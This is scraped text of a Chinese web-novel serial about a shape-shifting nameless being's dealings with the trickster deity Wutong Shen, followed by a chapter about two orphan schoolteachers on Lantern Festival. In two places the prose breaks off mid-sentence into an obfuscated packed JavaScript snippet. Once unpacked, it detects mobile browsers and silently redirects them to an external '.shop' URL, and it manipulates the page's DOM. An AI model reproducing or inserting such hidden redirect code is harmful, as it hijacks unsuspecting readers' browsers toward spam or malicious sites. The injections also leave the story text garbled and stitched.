“有件事需要你去办。”五通神说。 林煦看着祂。 “什么事?” 五通神从袖子里掏出一张纸,递过来。 “把这个送给一个人。”祂说,“城东报社的,叫伏鸿。十九岁,刚死了娘。” 林煦接过纸,扫了一眼。 纸上写着几行字:心官。收债。本息。无解。 下面还有一行小字,是后来加上去的:不是你。 “这是什么?”林煦问。 五通神笑了笑。 “是个提醒。”祂说,“那个人被心官盯上了,但他不知道。给他透点消息,心里有个数。” “他母亲怎么死的?” “意外?你心里不是有数吗——不过他跟你不一样,人家可是切切实实悲痛了好久呢,——无情的佚名啊……” 林煦打断祂。 “你关心他?” 五通神摇摇头。 “我不关心他。”祂说,“我关心的是另一件事。那个人身边,以后会有个孩子。那个孩子,跟心官有关系。我想让你去看看。” 林煦摩挲着纸张,问:“心官是什么?为什么这样做?” “别的邪神。” 五通神走到窗前。 “我看不惯祂,想要添点乱。放心,有我在,祂不会注意到你的。” 林煦的眉头皱的更深了,“你怎么不自己去?” “那个人——我说伏鸿,命里和我没有因果。” “去吧。”祂说,“送完就回来。” 林煦去了。 那天夜里下着雨,祂撑着伞,走到城南那条巷子里。巷子很黑,很窄,一个人都没有。 祂等了很久。 后来有人来了。年轻人,长相上等,身高中等偏上,撑着一把油纸伞,低着头走路。 林煦看着他走近。 视线扫过,祂不由得皱眉。 祂侧过头,对旁边的空气说——那是五通神,一直跟着祂。 “是他吗?” 就是个普通人? 空气波动了一下,脑海里响起神明的声音,“嗯。” “好。” 祂把纸条塞进那个人手里,转身走了。 那个人追出来,街上已经没人了。 林煦站在暗处,看着那个人低头看纸条,看着那个人把纸条收进怀里,看着那个人慢慢走远。 然后祂转身走了。 回到私塾,五通神坐在屋里等祂。 “回来了?” 林煦从祂面前走过,拿水杯。 五通神撑着脸笑得很灿烂。 “行。”祂说,“这件事办完了。” 祂站起来,走到门口。 “对了,”祂回过头,“那个人身边那个孩子,叫纪闻幸。心官的目标是他。你先记着点。” 祂走了。 林煦站在屋里,看着空荡荡的门口。 祂记住了。 于是在未来的某一天,他们必然会见面。 八年后,林煦二十七岁。 那年奉权中又来了。 夜里有人敲门,林煦打开门,奉权中站在门口,浑身是血,和八年前一模一样。 “借个地方躲躲。”奉权中说。 林煦侧开身子,让他进来。 七天。奉权中在祂那儿躲了七天。 临走时,奉权中停在门口,转过身盯着他,盯了很久。 “你到底是什么人?”他问。 林煦说:“教书先生。” 奉权中笑得很开心。 “行。”他说,“教书先生。” 他走了。 林煦看着他的背影。 几天后的深夜,祂坐在屋里,没有点灯。 黑暗里,有人说话。 “又见面了。”清亮的女声。 灯光骤然亮起。 林煦抬起头。 五通神坐在他对面,这次换了个装束。不,是直接换了个人,一个女人。红唇皓齿,眉目如画,是很受人喜爱的模样——总之,是和之前完全不一样的形象。 但眼睛是一样的。漆黑,让人不舒服。 “你来干什么?”林煦没管祂的形象问题,像祂这样的神明,自然是想是什么样就是什么样的。祂选择直接发问。 五通神笑了。昳丽的容貌在灯光的照耀下更加夺人心魄。 “来看看你。”祂说,“事情太多,冷落了我亲爱的合作伙伴,这怎么行。” “说说最近吧,有没有遇到什么有趣的家伙?” 林煦挑眉,“你不是什么都知道吗,问我干什么?” 五通神没理祂。 林煦叹气,想了想。 “有几个。”祂说。 五通神敲敲桌子。 “说说。” 林煦向祂汇报。五通神听着,点点头,偶尔问一句。 说完之后,五通神站起来。 “不错。”祂说,“你做得很好。” 祂走到门口,停下来。 “对了。”祂回过头,“你那个奉权中,现在在北边混得不错。他最近又来了吧,演技真好。” 林煦看着祂。 “你关心他?” 五通神笑了。 “我不关心他。”祂说,又朝林煦了个不知从哪学来的抛媚眼,“我关心你。” 祂走了。 林煦站在屋里,一动不动。半晌有些无语地抽动嘴角。 恶不恶心。 新民国二十一年,边向云换了身份。 新身份叫魏余,字损之,军二代,二十三岁。原主在一场意外中与军队失散,佚名捡到了他,并在第二天将其取代。 祂作为“魏余”回到军队的那天夜里,五通神又来了。 “怎么样?”祂问,“新壳子还习惯吗?” 魏余看着祂,有些不耐。 “你为什么每次都要来?” 五通神笑了。 “每次。”祂说,“我答应过你。” 祂在屋里走了一圈,看看这儿,摸摸那儿。 “这个不错。”祂说,“军二代,能接触到很多人。帮我看着点,那些当兵的,当官的,心里都有东西。” 魏余点点头。 五通神端详了会儿祂书柜里的摆件,又突然出声。 “对了。”祂回过头,“你那个奉权中,前不久死了。被人寻仇。” 魏余看着祂。 “你告诉我这个干什么?” 五通神笑了笑。 “让你知道。”祂说,“你救过的人,死了。” 祂走了。 魏余站着发呆。 祂回想了一下奉权中的脸。 那张脸他记得。眼睛很亮,即使浑身是血,眼睛也亮得吓人。 祂又想起奉权中的“姐姐”,那个江天阙。 奉权中怎么死的?是她杀的吗?还是她也死了? 祂心中突然升起一阵冲动——想回去查明一切的冲动。 但祂还是忍住了。 佚名一族,不沾因果。祂和奉权中、和江天阙、甚至还有隋良安和纪闻幸的因果,早在他换身份的时候就已经断了。 祂想,或许祂不该和奉权中说话的。作为边向云的时候,和作为江天柩的他。 新民国三十四年,魏余换成了宫禄。 律师,二三十岁,在宵京开了一家事务所。 取代那天,五通神又来了。这次又换回了男性的模样。 “这次是律师。”祂说,“有意思。” 宫禄看着祂。 “你真的每次都要来一趟吗?” 五通神笑了。 “当然。”祂说,“我不是答应过你么?” 祂在沙发上坐下,翘起腿。 宫禄略有些嫌弃地皱皱眉,在离祂稍远的地方坐下。 “这些年看了不少人吧?”祂问,“有什么有意思的?” 宫禄想了想。 “有一个。”他说,“杀人犯,杀了三个人,藏得很好。我去见过,眼睛里什么都没有,不后悔,不害怕,不记得。像个空壳子。” 五通神挑眉。 “像你?” 宫禄没说话。 五通神又笑。祂好像很爱笑,不包括眼睛。 “有意思。”祂说,“我会记下来。” “对了,”祂摸索着桌上的瓷杯,“这几年不太平,你自己小心。” 祂走了。 窗外炮火连天。 一九七五年,宫禄又变成了燕子楠。 女性,小学语文老师,三十五岁。 换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420256|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身份的当天,五通神没来。 燕子楠松了口气,但还是等了三天。三天后,五通神才出现。 “有点事。”祂说。 燕子楠看着祂。 “什么事?” 五通神笑了笑。 “和童靈神吵了一架。”祂说,“那个坏孩子,越来越烦人。” 燕子楠没说话。五通神经常和一些邪神吵架,除开童靈神,还有什么福神祸神、虫蜩娘娘一大堆。或者说,邪神之间很难合得来。哪怕祂在自己面前表现的多么随和,也无法掩盖祂恶劣的、阴晴不定的本性。 这很正常。燕子楠腹诽。毕竟是邪神,哪有什么好东西。反正祂也不在乎。 五通神在屋里走了一圈,看看这儿,摸摸那儿。 “女壳子。”祂说,“第一次用吧?” 燕子楠点点头。 “感觉怎么样?” 燕子楠想了想。 “不一样。”祂说,“走路不一样,说话不一样,别人的眼光也不一样。” 五通神笑了。 “习惯就好。”祂说,“反正过几年还要换。” 祂走到窗前,看着外面的夜色。 “关于童靈神,你知道多少?”祂问。 燕子楠思忖片刻,开口:“本恶之神。” 五通神点点头。 “我们认识很久了。”祂说着,用手去摹窗边盆栽叶的叶脉,“很久很久。一开始还好,后来就不对付了。那孩子没常性,说难听了就是反复无常,难伺候。” 懂了,和你一样。燕子楠腹诽。 祂回过头,似乎瞪了燕子楠一眼,但没说什么。 “以后可能会有点麻烦。”祂说,“你帮我看着点。” 燕子楠点点头。 五通神不知道从哪拿出来一个发夹,比划着要往头上夹。燕子楠欲言又止,定睛一看,是祂之前放在桌上,忘记收起来的那个。 “对了,”祂回过头,“这个壳子有点意思。你是他的班主任?” 燕子楠愣了一下。 “什么?” 五通神摆摆手,“我记错了。” “沈烬。”祂停顿片刻,继续说,“一个孩子。再过几年,你会成为他的班主任。” 燕子楠看着祂。 “你什么意思?” 五通神笑了笑。 “没什么意思。”祂说,“就是告诉你,这世上有些事,比你看到的更多。” 燕子楠沉默一会儿,沉着脸把祂轰走了。 一九八六年的夏天,燕子楠换成了沈烬。 七岁的男孩,出生在慕安市长暕村,后来搬到市里。家里有钱,父亲叫沈厝,母亲叫禤彤,已经死了。 佚名变成沈烬的时候,五通神就站在屋里,看着祂往簿子上写名字。 “这个壳子有点意思。”祂说。 佚名看着祂。 “什么意思?” 五通神走到窗前,看着外面的夜色。 “这个孩子,”祂说,“本来不该死。但他父亲把他供给了我。” 佚名没说话,祂正在慢慢变小,变成沈烬的模样。 五通神回过头,看着祂。 “你知道什么是供吗?” 佚名开口,是清脆的童音——祂已经完全变成沈烬了:“知道。” 五通神笑了。 “你不知道。”祂说,“供的意思,是用他的命,换他的东西。沈厝用沈烬的命换我放过他。但他没想到,他儿子的命早就是我、我们的了。” 沈烬看着祂。 “你杀了他?” 五通神摇摇头。 “我不干那么没品的事。”祂说,“他对我还有用。” 祂走过来,在沈烬面前蹲下。 “这个孩子,活着的时候很‘苦’。”祂说,“他母亲死了,父亲想杀他,叔叔伯伯都死了。他没有活路。” 他看着沈烬的眼睛。 “你来了,他就不用活了。” 沈烬没说话。 五通神站起来,伸了个不存在的懒腰。 “终于忙完这阵子了。”祂说,“我要休息,别联系我。” 祂走了。 沈烬站在屋里,看着天上的月亮。 窗外月光很亮。 祂不信五通神说的话,祂要自己看。 一九九七年,沈烬十八岁。 那年他高中毕业,自学了大学课程,同时开始接手家里的公司。 父亲沈厝已经死了,死得很惨。或者说,很早以前就死了。沈烬被迫和五通神生活了几年,听闻祂终于走了差点没压住上挑的嘴角。 那天夜里,五通神终于用回了之前的模样。 “十八岁了。”祂说。 沈烬看着祂。 “什么事?” 五通神笑了笑。 “来看看你。”祂说,“顺便问问你,什么感觉?” “什么什么感觉?” “再一次成人啊。”五通神笑着,说出的话却让沈烬的手不由自主的攥起,“上一次十八岁,你认清了自己。我在想,这一次的十八岁也要让你足够难忘才是。” “你这次的壳子,是林煦——那个第一个被你替代的孩子。他排了好久的队,终于等来了转世的机会,却又一次被你给占据了——可怜的孩子。” 沈烬看着祂,嘴角扬起一抹冷笑,讥讽到:“你也会说可怜?” 五通神依旧在笑,但此时祂姣好的面容在沈烬眼里分外的丑恶。 “你果然还是在意过去。在意自己的身份。” “我活了很久。”祂说,“见过很多可怜人。人类有一句话说的很好,‘可怜之人必有可恨之处’,所以他们的可怜千篇一律。那个孩子的可怜之处就在于,他还没来得及行可恨之事。这是新鲜的,值得我去观察记忆的。” 祂站起来,俯看着祂。 “你知道我为什么选你吗?”祂问。 沈烬没说话。 “因为你很特殊——虽然不是最特殊的。”祂说,“但这最好不过了。人们总是只在乎第一名,却忘了第二名也是力压群芳的胜利者。你身上的关注比‘祂’要小的多,我也更自由些。” “那个‘第一名’是谁?”沈烬问祂。 “和你一样,也是佚名。” 五通神看着沈烬的眼睛,却像是透过祂在看另一个佚名。 “是个很特殊的佚名——你们的共享记忆里没有吗?” 沈烬摇摇头,五通神了然。 “那群老不死的,盯的真紧——不说祂了,阿烬。”祂喊的是做祂“父亲”这些年喊他的称呼,沈烬的手指稍微动了动。 “我需要一个人帮我记住。”祂坐在沙发上,手指轻点着茶几,“你愿意吗?” 沈烬沉默了一会儿。 “我们已经合作很久了。”祂说。 五通神笑了。 “是啊。”祂说,“很久了。” 二〇〇五年,沈烬二十六岁。 公司经营得不错。祂不怎么管事,但该赚的钱一分没少。那些年,祂物色过很多新身份,但最终一个没换,那些写着姓名八字的纸条越积越多,最后都烧了。 五通神来得少了。 有时候一年来一次,有时候两三年才来一次。每次来,也不说话,看祂两眼,又走了。 更多的,是直接在脑海里下指令,或者让祂的信徒们代为传递。 沈烬并不好奇祂在干什么,日子还是照样过。 那天夜里,沈烬一个人坐在书房里。 桌上摊着一叠资料。 是五年前的事。 二〇〇〇年,慕坪市,西封杂志社。 五通神突然传讯给祂这几个词,没说别的。 沈烬查了很久,查到了一些东西。 童靈神。 那个和五通神认识、关系不睦的神,邪神。 门开了。 五通神站在门口,头发似乎短了些。 “查到了?”祂问。 沈烬抬起头。 “童靈神。”祂说。 五通神走进来,在对面坐下。 “我知道。”祂说,“五年前的事,我知道。” 沈烬看着他。 “你为什么没告诉我?” 五通神沉默了一会儿。 “这不能说,这是我们的规矩。更何况,那个坏孩子还在看着我呢。” 沈烬没说话。 五通神看着祂。 “你想查下去?”祂明知故问。 沈烬点点头。 五通神勾起唇角。 “那就查吧。”祂弯起眼睛,“这可不是我让你查的哦?” “阿烬,”祂说,“记住我一句话。” 沈烬抬起头。 “有些东西,比心官可怕。”祂说,“比我也可怕。” 月光照在祂脸上,那张脸看不出年龄,看不出性别,看不出在想什么。 “不过没关系。”祂说,“你是我的人。” “你也算半个关系户了。” 祂走了。 沈烬坐在那里,看着空荡荡的客厅。 窗外月光很亮。 祂低下头,继续看那叠资料。 祂会记住这一切。 包括那个祂看不见的、另一个佚名。 包括五年前那场异动。 包括以后会发生的事。 5. 元夕 一 慕坪中学的教职工宿舍在老校区后面,两栋五层的灰楼,中间夹着一棵上了年纪的槐树。树龄比两栋楼加起来都老,据说是建校时从别处移栽过来的,算起来快一百年了。 正月十五这天傍晚,廖振山站在窗前,看见逄寒林从槐树底下走过。 暮色四合,路灯还没亮,逄寒林穿着一件灰扑扑的羽绒服,手里拎着一个塑料袋,里面装着什么圆滚滚的东西。他走路不快,低着头,像是想心事,又像是在躲风。 廖振山看了他几秒钟,转身下楼。 他在二楼楼梯口站定,等逄寒林进来。 脚步声一下一下的,有点重。廖振山知道他最近心脏又不舒服,但从来不说。 门开了,逄寒林看见他,愣了一下。 “你怎么知道我在这?” “不知道。”廖振山说,“就是觉得你应该来了。” 逄寒林板着脸抬头看他,眉眼间萦绕着些许戾气。他把塑料袋往前一递:“元宵。黑芝麻的。” “你买的?” “我煮的。”逄寒林换鞋,“生的我能拎着走一路?” 廖振山低头看袋子里的保温盒,没说话。 厨房里烧着水。逄寒林把元宵倒进锅里加热,用勺子轻轻推了推,防止粘锅。廖振山靠在门框上看着他。 “看什么?” “看你。”廖振山说,“你煮元宵的样子不像第一次。” 逄寒林没回头:“就是第一次。” “那可能是上辈子煮过,没忘干净?” 逄寒林笑了一声。他笑起来的时候,脸上那股凶劲儿就散了,眉眼都软下来。孤儿院的阿姨们都说这孩子看着吓人,其实比谁都好说话。倒是廖振山,白白净净的,笑起来也好看,但心里想什么谁也猜不透。 他们同一年被送到孤儿院,同一年考上师范,同一年分到这所学校。认识近二十年了。 “差不多了。”逄寒林说。 廖振山走过去,站在他旁边,两个人一起看着锅里的元宵翻滚。窗玻璃上蒙着雾气,把外面的暮色遮成一片模糊的灰白。 “今天席老师问我要不要一起去市里看灯。”逄寒林忽然说。 “谁?” “教音乐的,席悯春。”逄寒林用勺子搅了搅,“坐我办公室对面那个,你见过的。” 廖振山想了想:“戴金丝眼镜那个?” “对。据说家里挺有钱的。” “你怎么说的?” “我说约了人。” “约了谁?” 逄寒林看他一眼:“你。” 廖振山没说话。 “她还说她弟弟今天也回来,那个私生子。”逄寒林把元宵全捞出来了,一边端着盘子向餐桌走,一边说,“叫什么秋。哦,席鸿秋。” 廖振山的手顿了一下。 “怎么了?” “没什么。”廖振山说,“这名字好像在哪儿听过。” “书上吧。小说里。” “也许吧。” 二 元宵端上桌,两个人面对面坐着。 窗外有人在放烟花,嘭嘭的响,光透过玻璃一闪一闪的,在墙上投下红红绿绿的影子。逄寒林吃了一个,放下勺子。 “不好吃?” “烫。”逄寒林说,“等会儿。” 廖振山看了他一眼,低头吃自己的。他吃东西很慢,一口一口的,像是在数数。 “你刚才说的那个席老师,”廖振山忽然开口,“她跟你说她弟弟的事干什么?” 逄寒林想了想:“可能是想找个话题?同事之间总要搞好关系,毕竟低头不见抬头见的。” “就不能是人家对你有意思?” “怎么可能。”逄寒林用勺子戳了戳碗里的元宵,“她又不是不知道我有心脏病。哪有对短命鬼有意思的。” 廖振山的勺子停在半空。 “你胡说什么。” “我没胡说。”逄寒林笑笑,那笑容很短,像是给自己看的,“医生说能活到四十就算赚了。我今年二十六,还有十四年。十四年,够干什么?” 廖振山把勺子放下。 “够过十四个元宵节。”他说。 逄寒林愣了一下,然后笑了。 “廖老师,你是数学老师,不是语文老师。这话说得不对。” “哪里不对?” “够过十四个元宵节,”逄寒林掰着手指,“今年一个,明年一个,后年一个……十四个。可我不想只过十四个。” 廖振山看着他。 “那你就好好活着。”他说,“活到无数个。” “好啊。”逄寒林欣然应允。 空气沉默了会儿。 “以后别乱说话了。这事传出去,对席老师影响不好的。”他再次张口。 三 吃完饭,廖振山去洗碗,逄寒林坐在沙发上。 这间屋子不大,一室一厅,厨房和客厅打通了,站在厨房能看见客厅的全貌。廖振山一边洗碗一边用余光瞟着沙发那边。逄寒林靠在沙发上,手按着胸口,眼睛看着天花板。 那个动作廖振山太熟悉了。 他把碗放进沥水架,擦了擦手,走过去。 “又疼了?” “没事。”逄寒林把手放下来,“老毛病。” 廖振山在他旁边坐下。 “你今天不该吃元宵。” “元宵怎么了?” “糯米不好消化。你吃多了容易难受。” 逄寒林笑了:“廖老师,我怎么记得你是数学老师,什么时候转行当营养师去了?” “我查过。”廖振山说,“你的病,我查过很多资料。” 逄寒林的笑收了收。 “你查这个干什么?” 廖振山没回答。 窗外又是一阵烟花响,嘭嘭嘭的,像是有人在放连珠炮。逄寒林偏头看了看窗外,光一闪一闪地映在他脸上。 “振山,”他忽然说,“你说咱俩上辈子认识吗?” 廖振山转过头看他。 “怎么突然问这个?” “不知道。”逄寒林说,“有时候看见你,就觉得好像认识很久了。比二十年还久。那种感觉……不是熟悉,是别的什么。说不上来。” 廖振山沉默了一会儿。 “也许吧。” “那你说上辈子咱俩是什么关系?” 廖振山想了想:“你是我学生。” “滚着。” “或者我是你学生。” “那还差不多。” 两个人都笑了。 笑着笑着,逄寒林忽然捂住胸口,眉头又皱起来。 廖振山的笑立刻收了。 “药呢?” “在口袋里。” 廖振山伸手去他羽绒服口袋摸,摸出一个白色的小药瓶。他拧开盖子,倒出两粒,又去倒水。 逄寒林接过水杯,把药吞下去,靠在沙发上喘气。 廖振山坐在旁边,没说话。 过了一会儿,逄寒林说:“吓着你了?” “没有。” “骗人。你脸都白了。” 廖振山没理他。 逄寒林侧过头看他。灯光下,廖振山那张脸确实比刚才白了些,嘴唇抿成一条线,眼睛盯着地板,不知道在想什么。 “振山。” “嗯。” “我真没事。” 廖振山抬起头,看着他。 “我知道。”他说,“但我没办法。” 四 烟花渐渐停了。 九点多的时候,有人敲廖振山的门。 两个人对视一眼。逄寒林住三楼,廖振山住四楼,一般没人来敲他的门。 廖振山走过去开门。 门外站着一个年轻男人,二十七八岁,穿着深灰色的大衣,头发梳得很整齐,一看就是那种在大公司里待着的人。他的眼睛很亮,但看人的时候带着一点审视,像是在打量什么。 “请问找谁?” “廖振山老师?”那人笑了笑,“我是薄野明,玄晖集团的行政总监。沈总让我来送点东西。” 廖振山愣了一下:“沈总?” “沈烬。玄晖集团的总裁。”薄野明递过一个纸袋,“他说今天是元宵节,让我给慕坪中学的几位老师送点节礼。您是其中之一。” 廖振山接过纸袋,低头看了一眼。里面是一盒包装精美的月饼——不对,元宵节送月饼?他抬起头。 薄野明笑了笑:“这是沈总的意思。他说礼多人不怪,月饼元宵,都是圆的,差不多。” 廖振山没说话,表情却是一言难尽的。 逄寒林从里面走出来,站在廖振山身后。 薄野明看见他,眼睛动了动,似乎想说什么,但最后只是点点头:“逄老师也在?那正好。您的礼在车里,我这就去拿。” 逄寒林说:“不用了,我俩吃一盒就够了。” 薄野明看了看他们两个,笑了笑:“行,那我就不打扰了。祝二位元宵快乐。” 他转身下楼,皮鞋踩在水泥台阶上,哒哒哒的,很稳。 廖振山关上门,和逄寒林对视一眼。 “玄晖集团?”逄寒林说,“干什么的?” “不知道。”廖振山把纸袋放在桌上,“沈烬……这名字好像在哪儿听过。” “新闻里?慕坪市的富豪榜?” “也许吧。” 逄寒林打开纸袋,把里面的盒子拿出来。包装很精致,烫金的字,写着“花好月圆”。他打开盒子,里面整整齐齐摆着八个月饼。 “真是月饼。”他笑了,“这沈总是个妙人。元宵节送月饼。” 廖振山站在旁边,没笑。 “怎么了?” “没什么。”廖振山说,“就是觉得……这个沈烬,他怎么知道我们?” “也许是学校跟企业有合作?” “没听说。” 逄寒林想了想,把盒子盖上。 “管他呢,反正没坏事。”他看了看墙上的钟,“不早了,我该走了。” 廖振山说:“我送你。” “不用,就楼下。” “我送你。” 五 两个人下楼,走到槐树底下。 月亮很圆,挂在槐树光秃秃的枝桠中间,照得地上亮堂堂的。逄寒林的影子拉得很长,廖振山的影子挨在旁边。 “药带了吗?” “带了。” “明天别来给我送早饭了,多睡会儿。” “知道了。” “路上慢点。” “嗯。” 逄寒林走了两步,又停下来。 “振山。” “嗯?” “今晚那个叫薄野什么的,”逄寒林说,“你看他的眼神,有没有觉得……怪怪的?” 廖振山想了想:“哪种怪?” “说不上来。”逄寒林皱着眉头,“他看我的时候,像是认识我。但又不像认识。就是那种……很复杂的眼神。” 廖振山没说话。 “算了,可能我想多了。”逄寒林笑了笑,“走了,明天见。” 他转身往三号楼走去。廖振山站在槐树底下,看着他的背影。 走了几步,逄寒林忽然又停下来,回过头。 “振山!” “嗯?” “元宵节快乐!” 廖振山在月光下站着,看着他。 “同乐。” 逄寒林笑着挥挥手,消失在楼道口。 廖振山站了很久。 风吹过来,槐树的枝桠晃了晃。他抬起头,看着月亮。 很圆。很亮。 他忽然想起一句话,不知道在哪看过,也不知道为什么这时候想起来—— 人间别久不成悲。 他不太懂这句话的意思。 六 第二天一早,逄寒林还是来送早饭了。 廖振山开门的时候,他拎着两个包子站在门口,胸口那点隐隐的疼还在,但他没说。 廖振山也没问。 他们坐在桌边吃早饭,窗外的天灰蒙蒙的,像是要下雪。 “昨晚那个人,”逄寒林咬了一口包子,“我后来想了想,觉得他可能是认错人了。” “为什么?” “他看我的眼神,像是在找什么人。但没找到,所以走了。” 廖振山喝了一口豆浆。 “也许。” “还有那个沈烬,”逄寒林说,“我总觉得这个名字熟悉。不是那种听说过的熟悉——给我一种我应该认识他的感觉。” 廖振山看他一眼。 “想不起来就别想了。” “嗯。”逄寒林把包子吃完,擦了擦手,“今天高一学生返校,我得去开个会。中午一起吃饭?” “好。” 逄寒林站起来,走到门口,又停下来。 “振山。” “嗯?” “你说,这世上会不会有人记得上辈子的事?” 廖振山愣了一下。 “怎么突然问这个?” “不知道。”逄寒林说,“昨晚做梦,梦见一些很奇怪的东西。有个人,穿着一件灰扑扑的长衫,站在一棵槐树底下。我看不清他的脸,但我知道他在等我。” 廖振山没说话,于是他继续说。 “我醒来就想,那人是不是你。” 廖振山站起来,走到他面前。 “你想多了。”他说。 “嗯。”逄寒林笑了笑,“梦不能信。” 他推开门,走了。 廖振山站在门口,看着那扇门关上。 他想,他昨晚也做了一个梦。 梦里也有一个人,也穿着一件灰扑扑的长衫,站在一棵槐树底下。他看不清那个人的脸,但那个人回过头来,对他笑了笑。 那个笑容让他心里疼了一下。 他醒来的时候,枕头是湿的。 他不知道为什么。 七 中午,两个人在学校食堂吃饭。 食堂里人不多,高一的学生返校报到,老师们都忙着开会,吃饭的时候也是匆匆忙忙的。逄寒林和廖振山找了个角落坐下,一人一份红烧肉套餐。 “下午没事了吧?”廖振山问。 “还有一节班会。”逄寒林扒拉着饭,“完了就没事了。你呢?” “教研组开会,四点半结束。” “那晚上一起吃饭?” “行。” 正说着,一个穿红色羽绒服的女人端着餐盘走过来,在他们旁边坐下。 “逄老师,廖老师,真巧啊。” 逄寒林抬头,是席悯春。她今天没戴那个平面眼睛,黑色的长发披着,看起来温婉不少。 “席老师。”逄寒林点点头。 席悯春笑了笑,目光扫过他们,落在外面的窗子上。 “今天天气不太好,可能要下雪。” “嗯。”逄寒林应了一声。 “对了,我弟弟今天也来学校了,说要参观一下。待会儿可能会来找我,你们要是看见了,别惊讶。” “你弟弟?”廖振山问。 “席鸿秋。”席悯春说,“席家那个……嗯,你们懂的。” 私生子。廖振山在心里补上。 “他多大了?”逄寒林问。 “十七。说是要转来这里上学。”席悯春说,“他比我小不少。我妈走得早,他是我爸后来……反正挺复杂的。” 逄寒林点点头,没再问。 吃完饭,三个人一起往外走。刚出食堂门口,就看见一个年轻男人站在槐树底下。 那人穿着黑色的羽绒服,个子很高,眉眼间有一种说不出的……锋利。他看见席悯春,笑了笑,那笑容却让人不太舒服。 “姐。” “鸿秋。”席悯春走过去,“等多久了?” “刚到。” 席鸿秋的目光越过她,落在逄寒林和廖振山身上。 “这两位是?” “我们学校的老师,逄寒林逄老师,廖振山廖老师。”席悯春介绍,“这是我弟弟,席鸿秋。” 逄寒林点点头。廖振山也点点头。 席鸿秋看着他们,目光在逄寒林脸上停了一秒,然后移开。 “逄老师,”他说,“您贵姓逄?” “嗯。‘宴坐鸣天鼓,和声听逄逄。’的逄。” “好姓。”席鸿秋笑了笑,“很少见。” “是。” 没再多说,姐弟俩走了。 逄寒林和廖振山站在原地,看着他们的背影。 “这个人,”逄寒林说,“也怪怪的。” “哪里怪?” “说不上来。”逄寒林皱着眉头,“他给我的感觉不像个高中生。” 廖振山没说话。 他看着席鸿秋的背影,忽然觉得有点眼熟。 好像在什么地方见过。 很久很久以前。 应该是记错了。 八 晚上,逄寒林在廖振山家吃的饭。 廖振山做饭,逄寒林打下手。两个人挤在小小的厨房里,一个切菜,一个洗菜,锅里的油滋滋响着,烟火气把窗户蒙上一层白雾。 “我总觉得,”廖振山忽然开口,“席老师的那个弟弟很眼熟。” “有点。”逄寒林把切好的土豆递给他,“但想不起来在哪见过。” 廖振山没说话,把土豆倒进锅里。 锅里的土豆丝翻炒着,滋滋的响。 “振山。” “嗯?” “你说,这世上有没有那种人,”逄寒林顿了顿,“就是明明第一次见,但觉得认识很久了?” 廖振山看着他。 “有。”他说。 逄寒林愣了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420257|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谁?” 廖振山没回答,把火关小,转过身看着他。 “你。”他说。 逄寒林看着他,半天没说话。 厨房里全是烟火气。 “振山。” “嗯。” “你是不是……”逄寒林顿了顿,“算了,没什么。” 廖振山把火关小,转过身看着他。 “你想说什么?” 逄寒林看着他的眼睛。那双眼睛很黑,很静,像两潭深水。他看了二十年了,从来没看透过。 逄寒林没回答。 他把目光移开,看着锅里的菜。 “吃饭吧。”他说。 九 吃完饭,两个人坐在沙发上看电视。 电视里在放元宵晚会的重播,一群人在台上又唱又跳,热热闹闹的。逄寒林靠在沙发上,手搭在胸口,有一搭没一搭地看着。 廖振山坐在旁边,也在看,但目光时不时往旁边瞟一下。 “振山。” “嗯。” “咱俩老了以后,”逄寒林说,“会不会还住在一起?” 廖振山看了他一眼。 “你想住就住,交房费就行。” “你怎么就知道是你的房子。” “就你那身子能攒下什么钱。”廖振山翻了个半眼。 “哦。”逄寒林没呛他。“那你做饭。” “你刷碗。” “行。” 两个人都没再说话。 窗外又有人在放烟花,远远的,嘭嘭的声音传过来。逄寒林偏头看着窗外,光一闪一闪地映在他脸上。 “振山。” “嗯。” “我想跟你说个事。” “说。” 逄寒林沉默了一会儿。 “这辈子能认识你,”他说,“我觉得挺好的。” 廖振山看着他。 “在孤儿院的时候,我一个人都不认识,谁也不跟我玩,因为我长得凶。”逄寒林笑了笑,“只有你,主动过来跟我说话。你还记得吗?” “记得。” “那时候我也是真蠢,没看出你的真面目。你抢人家东西,欺负人,总让我帮你背锅。现在想想,真该跟你要一笔赔偿费。” 廖振山挑眉。 “二十年了。”逄寒林说,“二十年,够长了。够本了。” 廖振山的手攥紧了沙发垫。 “你又来了。” “抒个情。”逄寒林眨眨眼睛,“今天书看多了。” 廖振山探头去看,案上摆着一本《全宋词》。翻开那页印着姜夔的一首《鹧鸪天》。 十 正月十六的早上,逄寒林醒来的时候,胸口疼得厉害。 他没告诉廖振山,照常去上课。语文课,讲的是辛弃疾的《青玉案·元夕》。 “东风夜放花千树,更吹落、星如雨……” 逄寒林站在讲台上,看着下面一张张年轻的脸。他们听得认真,有人在记笔记,有人在偷偷看小说。他顿了顿,继续讲。 “众里寻他千百度,蓦然回首,那人却在,灯火阑珊处。” 他忽然想起昨晚廖振山说的话。 “无数个。” 他笑了笑。 下课铃响,他收拾好教案,走出教室。 走廊里有人在说话。他走过去,看见席悯春和席鸿秋站在窗边,不知在聊什么。席鸿秋看见他,点了点头。 “逄老师,下课了?” “嗯。” 逄寒林走过去,忽然觉得胸口一阵发紧。他停下脚步,扶着墙。 席鸿秋看见了,走过来。 “逄老师?您没事吧?” “没事。”逄寒林笑了笑,“老毛病。” 席鸿秋看着他,目光里有一种奇怪的东西。 “您这病……”他顿了顿,“多久了?” “从小就有的。”逄寒林说,“先天性心脏病。” 席鸿秋没说话。 